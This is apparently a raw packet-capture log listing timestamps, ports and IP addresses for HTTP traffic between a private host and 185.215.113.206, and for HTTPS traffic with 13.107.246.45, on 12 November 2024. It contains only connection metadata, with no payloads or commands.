Nov 12, 2024 10:37:36.126656055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126679897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126807928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126827002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126837015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126849890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126858950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126863003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126876116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126887083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126893044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126902103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126904964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126916885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126926899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.126929998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126952887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.126974106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.127159119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127177000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127187967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127198935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127209902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127221107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.127234936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.127262115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.127367973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127378941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127393961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.127427101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.127444029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.152745008 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.152772903 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.152817965 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.152837992 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.152867079 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.160664082 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.160727978 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.160914898 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.166150093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166163921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166173935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166202068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166219950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166224003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166235924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166275024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166287899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166336060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166347980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166357994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166399956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166517973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166528940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166539907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166560888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166590929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166748047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166764975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166774988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166788101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166795969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166829109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166830063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166841030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166851997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166896105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.166935921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166944981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166954994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166965961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.166979074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.167000055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.167026043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.167603970 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.167624950 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.167635918 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.167642117 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.168642998 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.168656111 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.168787003 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.168792963 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.169558048 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.169563055 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.180387974 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.180387974 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.180401087 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.180409908 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.182540894 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.182570934 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.182699919 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.182710886 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.192804098 CET	49966	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.192847013 CET	443	49966	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.193098068 CET	49965	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.193142891 CET	443	49965	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.193212032 CET	49966	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.193425894 CET	49965	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.193918943 CET	49967	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.193926096 CET	443	49967	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.193981886 CET	49967	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194364071 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194386959 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.194509983 CET	49966	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194521904 CET	443	49966	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.194545031 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194776058 CET	49965	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194792032 CET	443	49965	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.194873095 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.194884062 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.195488930 CET	49967	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.195501089 CET	443	49967	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.195564032 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.195604086 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.195836067 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.196007013 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:36.196022987 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:36.239269018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239280939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239291906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239336014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239353895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239366055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239373922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239379883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239391088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239399910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239403009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239428043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239444017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239471912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239483118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239494085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239505053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239515066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239515066 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239526987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239552975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239573002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.239600897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239612103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239624023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.239660978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240037918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240048885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240062952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240092039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240102053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240113020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240124941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240134954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240145922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240151882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240159035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240170956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240180016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240180016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240195990 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240210056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240251064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240262985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240278959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240288973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240294933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240298986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240310907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240318060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240323067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240334034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240334988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240349054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240384102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240415096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240432978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240466118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240489006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240502119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240535975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240571022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240581989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240592957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240624905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240653992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240664959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240677118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240711927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240776062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240788937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240799904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240811110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240822077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240829945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240842104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240852118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240869999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240906000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240916967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240926027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.240951061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.240978956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241547108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241558075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241569042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241580963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241590977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241601944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241610050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241614103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241620064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241626024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241637945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241648912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241653919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241660118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241691113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241818905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241828918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241838932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241851091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241863012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241878986 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241882086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241885900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241899967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241906881 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241914034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241925001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241930962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241938114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241939068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241950035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241960049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.241972923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.241991997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242003918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242016077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242016077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242027044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242039919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242050886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242052078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242073059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242080927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242137909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242149115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242160082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242172956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242183924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242188931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242202044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242213011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242238045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242285967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242299080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242310047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242321014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242332935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242347002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242348909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242358923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242382050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242435932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242445946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242463112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242474079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242484093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242496967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242501974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242508888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242511034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242542982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242613077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242621899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242631912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242643118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242654085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242676973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242686987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242710114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242739916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242758989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242774963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242788076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242831945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242878914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242892981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242902994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242913008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242929935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242942095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242947102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242954969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242957115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242969990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242980003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.242980957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.242991924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243004084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243011951 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243035078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243046045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243217945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243228912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243241072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243251085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243261099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243272066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243289948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243294001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243303061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243319035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243324041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243330956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243335009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243349075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243359089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243359089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243382931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243402004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243402958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243415117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243491888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243505001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243513107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243515015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243526936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243536949 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243539095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243557930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243587017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243613005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243623018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243633032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243643999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243653059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243653059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243665934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.243669033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243695974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.243721008 CET	49834	80	192.168.2.6	185.215.113.206
